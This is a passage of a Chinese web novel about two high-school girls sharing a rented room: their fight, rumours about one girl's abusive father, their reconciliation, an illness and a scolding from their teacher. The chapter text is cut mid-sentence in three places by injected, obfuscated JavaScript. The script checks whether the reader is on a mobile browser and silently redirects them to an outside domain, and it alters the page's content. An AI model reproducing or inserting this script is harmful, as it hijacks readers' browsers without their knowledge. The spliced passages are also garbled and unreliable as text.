走到门口时,看见保安还在,我犹豫了一下,走上前问他:“叔,白天……是不是有个男人在门口,说要找一个同学?” 保安思考了一下:“对呀,来了好几天了,赶都赶不走。” “叫什么……参什么……那人是你同学?” 我点点头:“他是怎么回事?能跟我说说吗?” 保安叹了口气:“其实我也不太清楚,他就说要找他女儿。” “哦,对了,前天下午有个女孩来找过他,也是跟你一样来问情况的。我站那儿听了一耳朵,具体好像是……” 20. 闹掰,最糟糕的局面 走回出租屋,用钥匙打开门,参宿正坐在桌子旁边。 我过去放下书包,也坐了下来,开始掏出练习册。 这张桌子很小,不到一米,只放得下两个塑料凳。 以前我们一起写作业时,胳膊肘经常会碰到彼此。 “我们谈谈吧。”参宿忽然开口。 我看着眼前的题,头也不抬:“没时间,改天吧。” 她却忽然扭过头来看我:“我们闹到今天这个地步,如果就这样结束,你不觉得很遗憾吗?” “是吗?我觉得一点都不遗憾。”我放下笔,看着她难过的眼睛。 “那你就要这样跟我结束吗?”她问。 “随便你,我都无所谓,反正你在乎的人是黄晶晶。” 可她却说:“我们俩之间的事情,就算没有黄晶晶,也总有一天会出现裂缝。因为我们之间本身就有问题,却从来没有坐下来好好谈过。” 我沉默着,没有接话。 她继续说道:“而且,就算算上黄晶晶,昨天晚上的事情,归根结底是不是你的错?我早就跟你说过吧,不要把钥匙随便借给陆邵鹏他们,不然迟早会闯祸,你听了吗?” 我被她的指责点燃:“那你呢?” “你平常当烂好人,你有拒绝过别人吗?你没有,你从来没有拒绝过,凭什么换成了我,我就一定要拒绝别人?我也不好做!” 参宿看着我,努力保持平静:“我明白你不好做,但是你既然已经犯了错,就要想办法去弥补,万一她真的去跟徐春红告状怎么办?” “那就让她去告啊!”我脱口而出,“我早就不想管这破钥匙了!让徐春红赶紧收回去!我求之不得!” “我理解你……”她说。 “你理解个狗屁!”我情绪上头,反唇相讥,“你从头到尾都在维护黄晶晶!你理解过我吗?” 她控制不住地提高了音量:“我没有在维护黄晶晶!” “在这种事情上你可不可以不要那么任性!不要那么自私!是,我昨天把黄晶晶留下来,我知道你可能会生气,但是黄晶晶她有抑郁症,她之前跳楼又割腕,三天两头吃安眠药,这些我们都是知道的!她没有手机,一个人晚上回去孤零零的,万一出了事怎么办?这是人身安全问题!在这种时候你还要去计较吗?” “什么狗屁抑郁症!” 我积压的所有对黄晶晶的不满瞬间爆发:“你见过哪个抑郁症一个星期换一个男朋友?你见过哪个抑郁症天天阴阳怪气、挑拨离间?你见过哪个抑郁症造别人的谣、落井下石?你见过哪个抑郁症永远只会无病呻吟、对着别人诉苦?这他妈是一个抑郁症患者吗?” “参宿,你就是蠢!只有你会信她!” “是!我就是蠢!” 她也彻底豁出去了,眼泪涌了出来:“我就是天真!我才会一次又一次放低姿态、放下尊严去哄你!我就是天真!我才会一次又一次宽容你的不对!我就是天真!我才会每一次都拿热脸贴你的冷屁股!” 我看着她崩溃的样子,嘴上冷笑一声:“你终于说出来了。” “其实你就是忍受不了我了,对不对?巧了,我也没办法忍受你了。” “那我搬出去,让黄晶晶住进来跟你一起,行不行啊?!” 我吼出这几句话。 参宿无助地哭起来。 上一次争吵,是她把我怼得哑口无言。这一次,是我用最伤人的话,把她怼得哑口无言。 我们之间,连勉强维持的表面和平,都消失殆尽。 次日,迎来了一次猝不及防的大降温。 出门时,寒风像刀子一样刮在脸上,哈出的气瞬间凝成白雾。 我和参宿虽然还是并肩走着,中间却隔开了一段无法跨越的距离。 我想,如果我们没有吵架,她此刻大概会缩着脖子,调皮地躲到我身后,嚷嚷着“商尽欢你帮我挡着点风”,而我则会一边嫌弃一边故意放慢脚步。 可现在,早已成为一种奢侈的想象。 我们沉默地走在凛冽的风里。 早自习,各科课代表开始收作业。 参宿作为语文课代表,也站在座位上催促:“还有谁的语文作业没交?我要报给老师了。” “我的我的!”陆邵鹏在后面举着手,吊儿郎当地笑着。 “懒死了,都不知道自己走过来交一下吗?” 参宿没什么表情,走过去收他的本子。 陆邵鹏把本子递给她,忽然嘿嘿一笑:“诶,参宿,我能不能问你个问题啊?” 参宿瞥他一眼:“什么问题?” “我怕问了你生气啊,你先保证你不生气。” 参宿不明所以,皱了皱眉:“什么问题嘛?你快说。” “你爸爸是不是坐过牢?” 此话一出,以他们为中心的那一小片区域瞬间静了声。 所有目光,或好奇、或震惊、或同情,齐刷刷地钉在参宿身上。 她猛地僵在原地,脸色刹那间变得惨白,整个人都懵了。 “操你妈!陆邵鹏你脑壳有包吧?”张扬猛地一拍桌子站起来,怒骂道。 陆邵鹏缩了缩脖子:“又不是我说的……我是听别人说的,说参宿她爸年轻的时候打她,进去过,这两天不是天天在校门口嚷着要见她吗?我就好奇问问……” “谁他妈那张烂嘴乱传?老子撕了他的嘴!”张扬气得眼睛都红了。 “诶诶诶!干什么呢!” 语文老师的身影出现在门口:“早自习都开始十分钟了,怎么还不坐下好好读书?吵吵什么呢?” 全班鸦雀无声。 语文老师:“参宿,作业收齐了吗?报过来。” 参宿这才动了动,抱着那摞作业本,低着头快步走向讲台,全程没有看任何人一眼。 整个上午五节课,参宿就那样一动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480738|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不动地坐在座位上,背挺得笔直,目光却直愣愣地盯着前方,像是失了魂。 张扬下课坐到他面前,试着跟她讲几句话,她像是没听见,毫无反应。 到了午饭时间,黄晶晶照常蹦蹦跳跳地过来,声音甜美:“参宿!我们去吃饭吧!我今天想吃食堂的酸辣猪脚米线!” “吃你妈吃!”张扬猛地挡在她面前,脸色阴沉得吓人。 黄晶晶跺脚吼道:“张扬你说什么呢?” “你做了什么你心里清楚!”张扬死死盯着她。 “我做什么了?你倒是说出来呀!”黄晶晶扬起下巴,毫不示弱。 “呸!没见过你这么不要脸的!”张扬说着,火气上来就要动手。 参宿急忙站起来拉住了他。 “参宿!他要打我你还不过来管管他!”黄晶晶立刻躲到参宿身后,带着哭腔嗔怪。 张扬这次猛地甩开了参宿的手,指着黄晶晶,对参宿吼道:“你还要护着她?你知不知道早上陆邵鹏那些屁话,全都是这个八婆传出去的!” “你有证据吗?!”黄晶晶尖声质问。 “证据?老子前两天亲眼看见你在校门口跟那个男的说半天话!不是你说的还能有谁?” 黄晶晶脸色变了一下,随即强辩道:“我就是关心参宿才去问问那个男的要干嘛!陆邵鹏他正好路过看到问我,我才跟他说的,我还特意嘱咐他不要往外传!谁知道他今天早上发什么神经!” “那你他妈还说你自己没传!”张扬抬起手,眼看一巴掌就要落下去。 “张扬!你够了!” 参宿忽然猛地吼了一声。 张扬动作顿住,不可思议地扭头看她。 半晌,他才从牙缝里挤出话:“……你疯了?她在背后这样传你家里的事,传你的隐私,我是在替你教训她!” “我不需要,我不需要你为我做这个。” 张扬看着她,像是气极了,反而冷笑一声,放下了手,插回兜里:“行,参宿,你行。为了一个黄晶晶,你要跟我们都闹掰,是吧?” 他顿了顿:“我跟你说参宿,你就是蠢!你就是个猪脑子!你永远都喜欢当烂好人,永远心软没底线!” “黄晶晶她以前怎么背刺你、怎么说你坏话的,你都忘了?哦,现在她落难了没朋友了,就来黏着你,她为什么不找别人就找你?因为你蠢啊!你好骗!你活该受这些罪!” 他的话越说越难听,听到最后,连我都有些听不下去,想站起来让他别说了。 我原本以为,我和参宿之间吵成那样,已经是最糟糕的局面,无法再更糟了。 没想到,现实总能给出更残酷的答案。 我和参宿,沦为最熟悉的陌生人。 我们离彼此最近,共用一间小屋,呼吸同一片空气。 却也离彼此最远,中间隔着的,是再也无法弥合的猜忌、伤害、和无法言说的巨大孤独。 21. 参宿,我爱你哭泣的心 从那一天起,我和参宿都变成了独来独往的人。 一个人吃饭,一个人去卫生间,一个人穿梭在教室、食堂和出租屋的三点一线。 晚上回到那间逼仄的小屋,我们各干各的。她在卫生间刷牙时,我绝不会进去;我在里面洗脸时,她也会刻意避开。 参宿也不再和黄晶晶说话,而黄晶晶,迅速缠上了另一个同样落单的女生,亲亲热热地挽着人家的胳膊。 周五,六点放学。 我和参宿一前一后回到出租屋,各自沉默地收拾东西准备回家。 我们已经到了可以完全忽视对方的地步。 我收拾好要洗的脏衣服,塞进背包,然后挤上了回家的公交车。 窗外的街景不断后退、消失,像我和参宿的友情,被远远地抛在后面,注定要永远留在过去的某个角落。 而我们,似乎都要被迫奔赴不再有对方参与的未来。 可是,我的脑海里却不受控制地闪回那天她问我的话:“我们闹到今天这个地步,如果就这样结束,你不觉得很遗憾吗?” 遗憾吗?遗憾死了。 这股巨大的酸涩和悔恨来势汹汹,我甚至没能撑到回家。 在摇晃的、满是陌生人的公交车上,我哭了。 我哭得无声却剧烈,满脸都是狼狈的鼻涕和眼泪。 明明我们都那么难过,明明我们都不想分开,明明我们曾那么认真地约定要一起考去北京……为什么,我们会把彼此弄丢,变成现在这副模样? 不知不觉,我坐过了站。 我茫然地下了车,在陌生的站台徘徊。 妈妈发来消息催促:“怎么还不回来?” 我不想回去。 因为那个考试,我注定要在一整顿饭的时间里被反复追问、责备、叮嘱,让我感到窒息。 我回了一句:“这周不回来了。” 我穿过人行天桥,走到马路对面,坐上了返回学校的公交车。 晚上七点半,冬日的天黑得彻底。 我背着沉甸甸的脏衣服和习题册,回到了出租屋。 我拐上楼梯口,却意外地抬眼看到参宿正从屋里出来,手里拿着小电煮锅,转身进了公共卫生间。 她没回家? 我忽然意识到一个问题,为什么每次都是她先到出租屋? 难道她从来都没回过家? 那个永远看起来乐观开朗、没心没肺的参宿,难道也拥有一个和我一样,甚至比我更不堪的、令人窒息的家庭吗? 我想起保安说,“那个男人打她,坐牢……” 我想起更久之前,她拿着鸭腿,轻声说“鸭腿是留给弟弟的”。 其实一切真相,早已露出了端倪,只是我从未认真去拼凑。 参宿洗好锅,从卫生间出来,准备回屋时,意外地抬头,看到了站在楼梯口阴影里的我。 这是这么久以来,我们最平静的一次对视。 没有争吵,没有怨怼。 她没有问我为什么又回来了,只是平平淡淡地问了一句:“吃饭了吗?” “没有。”这一次,我同样心平气和地回答了她。 “有挂面,你要吃吗?我给你煮。” “好。”我说。 她蹲在墙角,小心地看着锅里的挂面,防止它们粘锅。 我则在一边默默地打着调料,碗里放了辣椒油和老干妈。 一瞬间,时光仿佛倒流回从前,晚上十一点回来后,我们围着这口小锅,吃着两块钱一把的挂面,吃得简单却满足。 “我要走了。”她忽然说,声音很轻。 我手一抖,辣椒油倒多了半勺。 “去哪里?” “不知道,我爸来了,要带我走。” “你要转学?”我心一紧,“你已经高三了,现在转去哪里都不方便。” “没关系,都无所谓。” 面煮好了,我挑进碗里拌了拌,辣油染红了面条。 参宿穿上她那件厚厚的棉服,说:“我爸来了,我下去一趟。” 小小的出租屋里瞬间又只剩下我一个人。 天花板又在漏水,滴答,滴答,落进地上的塑料盆里。 我已经分不清那是水声,还是我心里流泪的声音。 我吃了一口面,又辣又呛,空荡荡的胃被烧得难受。 我放下碗,猛地转身冲出门,跑下楼。 她爸爸搂着她的肩膀,走在前面,而我偷偷跟在后面,跟着他们进了一家超市。 我看见参宿在货架间穿梭,开开心心地挑着零食,薯片、巧克力、果冻……装了一大筐。 然后,那个男人爽快地付了钱。 超市里放着应景又刺耳的歌: 我都寂寞多久了还是没好 感觉全世界都在窃窃嘲笑 我能有多骄傲 不堪一击好不好 一碰到你我就被撂倒 吵醒沉睡冰山后从容脱逃 你总是有办法轻易做到 …… 我追了出去,上前一把拉住了参宿的手。 她猛地回头,看到是我,眼睛里写满了不可思议和震惊。 参宿她爸看到我,又看我穿着校服,倒是很平和地笑了笑,问参宿:“这是你同学?” “嗯。” 男人笑着说:“我是参宿的爸爸,同学你好啊。” “叔叔好。” 我尽量让声音保持平稳,“您要带参宿走吗?” “对啊,”男人点点头,语气和蔼,“小同学你别难过,你们现在都有手机啊什么的,想联系参宿还是可以联系的嘛。” “你们什么时候走?”我问。 “买了半个月后的票。” 我点点头,没再说什么。 现在不能硬碰硬,如果他原形毕露怎么办?只能先顺着他。 他把我们送到楼下,又开始对着参宿忏悔,说着“爸爸错了”、“爸爸以前对不起你”、“以后会好好补偿你”之类的话,然后把那一大袋零食塞给参宿,这才转身离开。 楼下只剩下我和参宿,晚上八点十六分,冷风飕飕地刮着。 “你别跟他走。”我说。 “不行,我已经答应他了。” “就算要走,也等到高考之后,现在是高三最关键的时候,你去了新环境不适应怎么办?” “无所谓。”她重复着这个词,“我妈不要我了,我外婆对我好,其实也只是为了弥补我妈的亏欠。” “我能怎么办?”她迷茫地问。 “那你也不能跟他走!”我急了,“他这是在害你!你看不出来吗?他根本不会让你好好上学,他会让你去打工挣钱养他!” “无所谓,”她像是麻木了,“那就去打工吧。” “好!你要跟他走可以!但我现在只问你一个问题,你老实回答我!” 她沉默地低着头。 “你爸因为打你坐过牢,这事是不是真的?” 她磨蹭了一会儿,才低声说:“他是打过我……那时候他酗酒,但他已经戒了,他现在改了,他对我很好。” “改个狗屁!” 我几乎是在吼:“家暴只有零次和无数次!这句话你没听过吗?他都坐牢了说明情节多严重!他现在一无所有了才想起来找你!他是在利用你!” 参宿抬起眼睛看我,眼圈红了:“可是我现在觉得他是真的爱我,哪怕是演出来的,我也认了,如果他愿意演一辈子爱我,那我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480739|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿意挣钱给他养老。” 我气得浑身发抖:“所以你原谅他了?是吗?” “对!”她眼泪掉下来。 我看着她这副样子,心痛和愤怒交织。 “如果你真的这么容易就原谅,那张扬说得没错!你活该受这些罪!你咎由自取!你就是……你就是贱!” “没错!我就是贱!” 她也冲我吼了出来:“我就是谁对我好我就爱谁!” “我告诉你商尽欢!张扬喜欢我,我知道,我就是像他们说的,我吊着张扬,因为我享受他对我好!可我根本不喜欢他!” “那我呢?” 我死死盯着她,心脏像被撕裂:“我呢?你是不是也是因为之前我对你好,所以吊着我,后来觉得我没耐心了,你就不要我了?” 她看着我,眼泪流得更凶,却最终什么也没说。 那一刻,我的心彻底凉了。 我转身就走。 参宿应该失望透顶了吧。 她一个人坐在楼下冰冷的花坛边沿,像被全世界抛弃了一样,失声痛哭。 像小时候,每一个被爸爸暴打后的夜晚,她这样哭。 像发现外婆的疼爱背后是巨大的愧疚和补偿时,她这样哭。 像明白妈妈并非重男轻女,只是单纯不爱她、甚至恨她时,她这样哭。 我没有回头。 我冲进街边的小卖部,把一瓶白酒拍到收银台上。 老板看了我一眼:“哎哟小姑娘,我可不卖未成年人酒。” “我已经成年了。” 老板摇摇头:“唉,不卖不卖……” 我不管不顾,把身上所有的钱拍在了桌上,抓起那瓶酒就冲了出去。 辛辣的液体猛地灌入喉咙,像火烧一样,灼痛一路蔓延到胃里。 喝了不到三分之一,我就开始头晕目眩,走路晃晃悠悠。 我拿着酒瓶,晃回楼下。 参宿还在那里哭,肩膀一抽一抽的。 我走过去几乎是有些粗暴的拉着她手,把她拽起来, 她抬起头,满脸惊愕:“你喝酒了?” “对啊……”我扯出一个难看的笑,酒精让舌头有点打结,“我喝醉了嘛……如果你不信……” 我又抬起瓶子要灌。 参宿像疯了一样扑过来抢我的酒瓶:“停下来!商尽欢你停下来!很伤身体很伤胃的!你知不知道?” 我却不管,借着酒劲,有些粗暴地抓住她的手腕,直直地看着她。 “参宿,我醉了……我真的醉了……可是我没有动手打你……” 参宿愣住了,她明白我为什么说这个。 眼泪再次涌出,她摇着头:“你没有打我……我知道……” “我没有打你……”我重复着,酒精放大了所有的情绪,眼泪也混着酒意一起流下来,“参宿,他是骗你的……你不要跟他走……好不好?我求求你了……” 她哭得说不出话,整条寂静的街道都回荡着她的哭声。 我捧住她的脸,迫使她看着我:“你妈妈不爱你,我爱你啊,参宿。” “你外婆对你的爱是假的,我对你的爱是真的呀,参宿。” “没有人在乎你的前程,可是我在乎你的前程呀,参宿。” 所有的骄傲、隔阂、伤害,在那一刻,随风远去。 那个晚上,我和参宿躲进冰冷的被子里,紧紧地抱在一起。 我们第一次毫无保留地对着彼此放声痛哭,眼泪滚烫,冲刷着各自不幸童年留下的阴影,冲刷着这一路走来的所有坎坷、沉默和压抑。 天花板仍在漏水,滴答,滴答,滴答…… 有一句歌词是这么唱的:世人传颂勇气,而我爱你哭泣的心。 22. 生病,我想吃刨冰 时间快进到月底,天气越来越冷。 我和参宿每天都挤在一张床上睡,盖两床厚重的被子,甚至还要把棉服和大衣都压在上面,才能勉强抵御没有暖气的房间里的彻骨寒意。 参宿和她妈妈有过一次很长的电话。 她坚定地向对方表达了自己的意愿——绝不跟爸爸走。 她提出,这些年来所有养她的费用,对方可以详细记账,毕业后无论两年、三年还是五年,她一定会努力工作挣来还清。 电话那头沉默了许久,最终没有再强迫她。 从那天起,我和参宿开始了真正意义上的“头悬梁锥刺股”,每天不到凌晨两点半,绝对不会上床睡觉。实在困得不行了,就站起来靠着墙继续看书写题。 参宿还是没法完全改掉那些学习时的小毛病,总会学着学着就开始走神,在座位上动来动去,一会儿蹲着,一会儿又干脆跪在椅子上,姿势千奇百怪。 但我能看出来,她在努力,她在一点点地尝试专注,这就够了。 因为我们每天回来得极晚,烧热水动静大,怕吵到邻居,于是我们只能用冷水洗头。 洗完也不用吹风机,任由头发在寒冷的空气里慢慢变凉、变干,常常冻得头皮发麻。 参宿先受不了,也可能是想彻底决绝地告别什么,她果断地去把那一头乌黑厚的长发剪了,说这样不仅方便,还能卖点钱。 她顶着一头短短的蘑菇头回来时,我惊讶得说不出话,心疼。 参宿的头发很漂亮,乌黑锃亮,厚厚的。 最后,我也决定陪她一起。 她亲自帮我剪,我们蹲在垃圾桶旁边,她举着剪刀,很认真,甚至上网查了教程,一边剪一边嘟囔“这里要修一下”、“那里好像不太齐”,磨蹭了两个小时,我看着镜子里两个一模一样的蘑菇头,忍不住和她一起笑了出来。 十二月二十二日,冬至。 中午张扬死活拉着我们去吃饺子,说他是北方人,冬至不吃饺子等于没过节。 我们三人各点了一份不同馅料的,说好换着吃。 张扬把饺子端上桌,神秘兮兮地说:“你们先吃,我去拿个好东西!” 没几分钟他回来了,手里居然攥着一把……葱? “饺子配葱,祝我们学业成功!”他豪气干云地说。 我们三个像模像样地拿葱碰了一下,参宿咬了一口,立刻被辣得直吐舌头。 我正要下口,忽然觉得不对劲,问他:“你这葱哪儿来的?” 张扬一口葱一口饺子,吃得喷香:“学校绿化带啊,长得可好了!” ??? 我和参宿同时停下动作,瞪着他。 参宿先叫出来:“我靠!绿化带?不会有人……撒尿给它施肥吧?” 张扬大大咧咧一挥手:“学校这么文明的地方,光天化日谁脱裤子干那事!” 我俩将信将疑,默默放下了那根葱。 没多久,就听见保安大叔从门口进来,跟人抱怨:“我那几棵葱长得可好了,又大又肥,我天天起夜都记得去给它施肥,就等着今天呢!不知道是哪个小混蛋给我拔了……” 张扬嚼着葱的动作瞬间僵住,对面的参宿一个没忍住,“噗”一声差点喷出来。 最后那盘饺子,我剩了大半没动。 参宿看着我:“你被恶心到了?” 我笑笑:“没有,只是觉得不好吃。” 参宿瞪大眼睛:“啊?我觉得挺好吃的呀!” 张扬嗤之以鼻:“那是你没吃过好的!我们老家现包的饺子,皮薄馅大,一口下去满嘴流油,那才叫香!哪是这种速冻饺子能比的!” 参宿撇撇嘴。 我看着她,忽然说:“这周末我们去买点肉,自己包饺子吧。” 参宿眼睛一下子亮了:“好呀!正好很久没好好吃一顿了!” 张扬一听也来劲:“带我一个!” 参宿扬着眉毛逗他:“好啊,来我们出租屋!” 张扬又讪讪地摸摸鼻子:“算了算了,我一个大老爷们去你们俩小姑娘住的地方,不太方便……” 周末,我没回家,和参宿一起去逛了菜市场。买了十五块钱新鲜猪肉馅,一把韭菜,一打饺子皮。因为我最近总觉得腿脚酸疼,怀疑是缺钙,又狠狠心买了一升装的牛奶。 吃的喝的提了满手,心满意足地回去。 参宿从来没包过饺子,手法笨拙但可爱。我一步一步教她:放馅、蘸水涂边、捏出褶皱…… 她试了几个,最后还是放弃了,像捏包子一样把饺子团成一团丢进盘子里。 “我们可以在里面包一个硬币吗?我看电视剧里都是这样的。”她突发奇想。 “当然可以。”我洗干净一个硬币,包进一个饺子里。 饺子下锅,咕嘟咕嘟地煮着。 我们调了蘸料,倒上老干妈和醋,直接蹲在小小的电煮锅旁边开吃。 那个包着硬币的饺子煮破了一点皮,露出一点银色的边缘。 我眼疾手快地夹起来,放进了参宿碗里。 她看着我,眨眨眼,笑了:“这个有硬币?” “你咬一口就知道了。”她小心地咬了小半口,果然露出了半枚硬币。 她却把剩下的半个饺子夹给了我。 “好运一人一半。”她说。 参宿爬起来,从床上摸出手机:“要不要拍照纪念一下?” 我看看我们的狼狈样子,有点犹豫:“这环境……” “哎呀记录生活嘛,就是要真实一点!”她拉过我。 “那好吧。”我们两个人,举着那个还在冒热气的小电煮锅,背景是杂乱拥挤的小屋,完成了我们的第一张合照。 还剩下十多个生饺子没煮,我们都吃饱了,也没有冰箱存放。 正好晚上八点多,隔壁的阿姨下班回来,在门口淘米煮饭。 我和参宿对视一眼,默契地把剩下的饺子全都送给了她。 阿姨愣在门口,眼圈忽然就红了,带着点口音:“哎呀……我出来打工这么久……都没吃过饺子了……没吃过饺子了……谢谢你们两个小姑娘……” 她转身进屋,拿出来一大袋鲜红的草莓,硬塞给我们:“拿着拿着!阿姨买的,一个人吃不完!甜着呢!” 做了好事,就会很开心。 我和参宿蹦蹦跳跳地回到屋里。 我拿起电煮锅和蘸料碗要去洗,参宿却挤开我,抢过碗:“这次我洗!” “水很冷唉。” “没事儿,这次我洗,下次你洗不就得了!” 拗不过她,我拿起那袋草莓:“那我去洗草莓。” 我们都拿对方没办法,各自笑着去做事。 洗好的草莓个头不大,却红得诱人,咬一口,汁水饱满,甜滋滋的。 —— 看到参宿的成绩在一点点往上爬,我很开心。 那段日子,我们真正拧成一股绳,彼此支撑着度过最艰难的时光。 虽然累,虽然苦,但心满意足。 可能是一直熬夜、缺乏运动、神经紧绷的缘故,进入一月初,我的身体终于发出了抗议。 起初只是喉咙隐隐作痛,我没太在意。到了晚上,情况急转直下,每次吞咽口水都像在咽刀子,痛得钻心。 第二天醒来,摸着自己的喉咙,都能感觉到皮肤下不正常的滚烫。很快,我就彻底说不出话了,紧接着鼻塞、流涕、发烧全套症状都来了。 烧得最厉害的那个晚上,我躺在被子里,意识都有些恍惚,浑身骨头缝都疼。 “好想吃冰的啊,特别想吃嘉华的刨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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我赶紧冲她摆摆手,喉咙痛得发不出声音,只能用气声艰难地说:“算了。” 期末考和市统测近在眼前,以前我们还能找借口逃课溜出去打牙祭,现在真的病了,反倒一分一秒都不敢浪费,生怕落下进度。 参秀看我态度坚决,想了想说:“那这样,我晚自习请假出去给你买点药回来。” 没想到,还没等参宿行动,张扬先一步甩了好几包药到我桌上,有999感冒灵,还有一盒退烧药。 “恩人!”我冲他拱手作揖,以表感谢。 参宿却拿起那几盒药,翻来覆去地检查生产日期和保质期,一脸怀疑:“以你这个性格,居然会常备感冒药?该不会是过期了吧?” 张扬伸手就在她蘑菇头上不轻不重地劈了一下,故作伤心状:“你竟然怀疑我!我的心好痛啊~” 他捂着心脏,表情夸张。 “哦~我来给你揉揉?”参宿作势就要伸手。 张扬吓得往后一跳,连连摆手:“别别别!姑奶奶我错了!” 我拿着杯子出去接热水冲药,张扬也跟了出来,蹭到我旁边,神秘兮兮地说:“诶,我跟你说,你别说出去啊……” “其实这药是江祈托我给你的,但他让我别告诉你。” 我愣住了。 江祈?我的……前男友?他给的药? “什么?前男友给的?不会把她毒死吧!”参宿不知道什么时候也溜了出来,正好听到这句。 “喂喂喂!姑奶奶你小点声!”张扬吓得差点跳起来,慌忙去捂她的嘴,“人家一片好心!你别瞎说!” 事实证明,药没毒,当晚我的症状就好了很多。 23. 崩塌,让我滚出附中 一月八日,市统测终于考完了。 我的病也彻底好了,吃嘛嘛香,果然是无病一身轻。 参宿劝我:“以后别再熬那么晚了,我们现在的成绩基本已经稳了,关键是心态和身体要跟上。” 我撕开她的小零嘴,塞进她嘴里:“知道啦知道啦!” 考完试的晚自习,气氛轻松了不少。 我们俩也难得有闲心,去了很久没光顾的蒲公英花田。 里面早已没有一朵蒲公英,只剩下大片枯黄的草秆,在冬夜里显得格外萧索。 我告诉参宿:“没关系的,等过了年,春天一来,这里又会长满蒲公英的。” 这个世界,生命的荣枯消逝,一切都要遵循客观规律。 她点点头,没说话,只是默默看着那片荒芜。 晚自习上,大家都有些松懈。 有人头凑头下五子棋,有人偷偷溜去厕所打游戏。我和参宿拿了张草稿纸,在上面画着我们未来要租的房子。 我们约定以后还要住在一起,兴致勃勃地规划着:要有个小阳台,床是买一张大床还是上下铺?要不要各自的卧室?房子不用太大,温馨就好,最好有个独立的卫生间,比现在这个方便。我们还讨论要不要一起养只猫或者狗……聊了很久,对未来充满了简单的憧憬。 第二天早上六点半,闹钟准时响起,我随手按掉,又缩回温暖的被窝。 冬天太难熬了,外面天色漆黑,让人不想离开温暖的被窝。 “该起床了……”参宿打了个哈欠。 我烦躁地嘟囔:“唉呀,不想上课了,我不想去学校了……” 其实只是一句抱怨。 参宿却很认真地思考了一下,戳戳我:“早上两节是连堂语文课,其实不是很重要……要不然,我们请个假多睡一会儿吧?” 我迷迷糊糊觉得这主意不错,反正语文课也就是讲试卷,枯燥得很。 “好啊,”我嘟囔着,“请个假吧……” 然后我们又心安理得地睡了过去。 多睡了一个小时,精神确实好了不少。 我们洗漱完毕,碰巧遇到隔壁阿姨也出门上班。 她笑眯眯地问:“唉,你们俩今天怎么这么晚呀?” 我俩偷笑着:“嗯…起晚了…” 阿姨表示理解:“现在的学生不容易啊,天还没亮就得背着大书包去上学。我也懂你们的,我也读过书嘞!现在做梦还经常梦到小学被老师喊起来回答问题,紧张得要死,什么都不会……” “我们也是!”我们笑着附和。 走进学校,放下书包,刚进入学习状态没多久,我们俩就被叫到了徐春红的办公室。 她最开始没提旷课的事,只是让我们把数学作业拿给她批。 先批完我的,接着批参宿的。 参宿紧张地绞着校服边,垂着头。 我看着红叉一个接一个地落在她的作业本上。 徐春红重重放下笔,抬起头看着我们俩,叹了口气:“这作业你到底有没有认真在做?” 参宿低声说:“老师,我每题旁边都写了解题过程,都是我自己认真做的。” “那你就是真的蠢了。”徐春红毫不客气地说。 我听不下去,插话道:“老师,参宿上次考试数学考了82分,跟之前比进步已经非常大了,你不可能指望她一口吃成个胖子,今天50明天就150吧?” 徐春红却生气地瞪着我:“我教两个班,平均分最低也是110!她考82分?82非常低了好吗?及格线都没到!我对她的要求很低,只希望她能考到平均分!” “老师,我会一直努力的。”参宿小声保证。 徐春红叹了口气,终于切入正题:“你们俩今天早上怎么回事?为什么两个人都请假不来上课?” “是我不想……”我还没来得及说完,就被徐春红打断。 “你闭嘴!”她转向参宿,“你说!” 参宿垂下眼睛:“因为我们太困了,起不来……就想着请假了……” 徐春红立刻对着参宿开火:“起不来就不来上课了?那其他人怎么起得来?你还是语文课代表!今天早上两节语文课你就直接旷掉不来吗?” 她越说越气,开始输出一连串的指责,说参宿没有上进心,说她这样会带坏别人。 我气得打断她,尽量心平气和地解释:“老师,今天的真实情况是我们最近熬夜太多,觉不够睡。早上又觉得是两节语文课,旷了也无伤大雅,所以我们才请了假,并不存在谁带坏谁的问题。” 徐春红却根本不听:“你还说她没有带坏你?你从进附中第一天起,一直都是每天认认真真坐在座位上学到下课,基本上从进校门到晚自习结束都在刷题,顶多体育课出去一下!我当时睁一只眼闭一只眼!可现在呢?” “你们开始连主课都敢旷了!今天旷语文课,明天就敢旷我的数学课,后天旷英语!这后面还有大半年呢,等到后面你们怎么熬?只要放纵一次就会有第二次第三次第四次!” “等到高考的时候,你们要以什么样的态度去迎接它?” 徐春红在暴怒,整个办公室的老师都看着我们。 参宿偷偷拉着我的袖子,低声下气地说:“老师对不起,我们错了,我们下次不敢了……” 徐春红却不依不饶:“下次就不敢了?我不相信你们了!你们这次必须叫家长!现在就拿手机给你们家长打电话!” 我们俩僵着不动。 “好,你们不打是吧?那我替你们打。” 不到半个小时,办公室的门被推开了。 是参宿的妈妈,妆容精致,衣着得体,但面容冷峻,让人不寒而栗。 她踩着高跟鞋一步一步走进来,看着参宿,冷笑一声:“你还记得前几天是怎么跟我说的吗?” “你说你会好好学习,将来挣钱还给我,原来你就是这么学的?” “满嘴谎话!我就不该相信你!我是不是应该现在就把你送回你爸那边?” 